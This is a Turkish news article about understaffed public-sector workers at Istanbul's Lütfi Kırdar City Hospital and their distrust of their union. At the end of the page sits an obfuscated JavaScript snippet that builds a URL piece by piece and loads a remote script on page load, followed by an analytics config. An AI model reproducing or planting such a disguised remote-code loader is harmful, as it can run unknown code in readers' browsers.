Sendika

Sendika Başkanları Hastanelere Yönetimle Çay - Kahve Sohbeti İçin Geliyorlar!

stanbul’daki Lütfi Kırdar Şehir Hastanesi, yalnızca hasta yoğunluğu değil, aynı zamanda personel yüküyle de adından söz ettiriyor.

Abone Ol

Türkiye’nin en büyük sağlık komplekslerinden biri olan bu hastanede, temizlikten tıbbi atığa, güvenlikten destek hizmetlerine kadar görev yapan kamu işçileri, sendikaları Öz Sağlık-İş’ten umudu kesmiş durumda. Seslerini duyuramayan çalışanlar, çözümü kendi aralarında örgütlenmekte,

“4 kişinin işini tek başına yapmamı istiyorlar”

Tıbbi atık bölümünde çalışan bir işçi, yaşadıkları personel eksikliği nedeniyle ağır iş yükü altında ezildiklerini şu sözlerle anlatıyor:

“Plastik cerrahi, genel cerrahi, onkoloji… Hepsi bana bağlı. Sadece kendi alanımı değil, üç farklı bölümün işlerini de benim yapmam bekleniyor. Bu konuyu defalarca amirime ve sendikaya ilettim. Ama sendika şube başkanının cevabı şu oldu: ‘Sizi savunabileceğimiz çerçevede suçlar işlemeniz lazım.’ Bu nasıl bir yaklaşım?”

“Sendika amirlerden yana, işçiden değil”

İşçiler, sendikanın kendilerinden çok hastane yönetimiyle yakın temas kurduğunu savunuyor. Sendika şube başkanlarının hastane ziyaretlerinin sadece çay-kahve sohbetleri ve başhekime hediye takdiminden ibaret olduğunu belirten çalışanlar, kendi sorunlarının ise görmezden gelindiğini dile getiriyor.

Bir işçi, sendika başkanını çalışma alanına davet edip koşulları göstermesine rağmen sonuç alamadığını ifade ederek şöyle konuşuyor:

“İki elini başına vurdu, ‘Afganistan’dan beter şartlar bunlar’ dedi. ‘Eğer çözmezsem namussuzum’ diye yeminler etti. Ama aradan aylar geçti, değişen hiçbir şey yok.”

TİS sonrası yeni yol haritası: Sendika değişikliği

Toplu iş sözleşmesi (TİS) sonrası geçmişe dönük ödemelerini alan birçok işçi, ilk iş olarak sendikadan istifa etmeyi planlıyor. Ancak bu yalnızca bireysel bir tepki değil; örgütlü ve planlı bir sürece dönüştürülmek isteniyor.

“Sendikayı değiştirmek tek başına yetmez, birlikte hareket etmeliyiz”

İşçiler, sadece sendika değiştirmeyi değil, aynı zamanda yeni bir sendikal anlayışın da inşa edilmesi gerektiğini düşünüyor. temsilci deneyiminin azlığı, güven eksikliği ve pratik kazanım beklentisinin kısa vadede karşılanamaması gibi sebepler, sürecin daha da karmaşık ilerlemesine yol açıyor.

Kapanış mesajı: “Örgütlenmeden hak gelmiyor”

Lütfi Kırdar Hastanesi’ndeki işçilerin hikâyesi, Türkiye’nin dört bir yanındaki sağlık işçilerinin yaşadığı sorunların bir yansıması niteliğinde. “Hak verilmez, alınır” sözünü şiar edinen bu emekçiler, sendikal bürokrasinin ötesinde, gerçek dayanışmanın işyerindeki arkadaşlıklarda ve örgütlü mücadelede yattığına inanıyor. Onlara göre çözüm, “birbirimizden güç almakta.”

(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }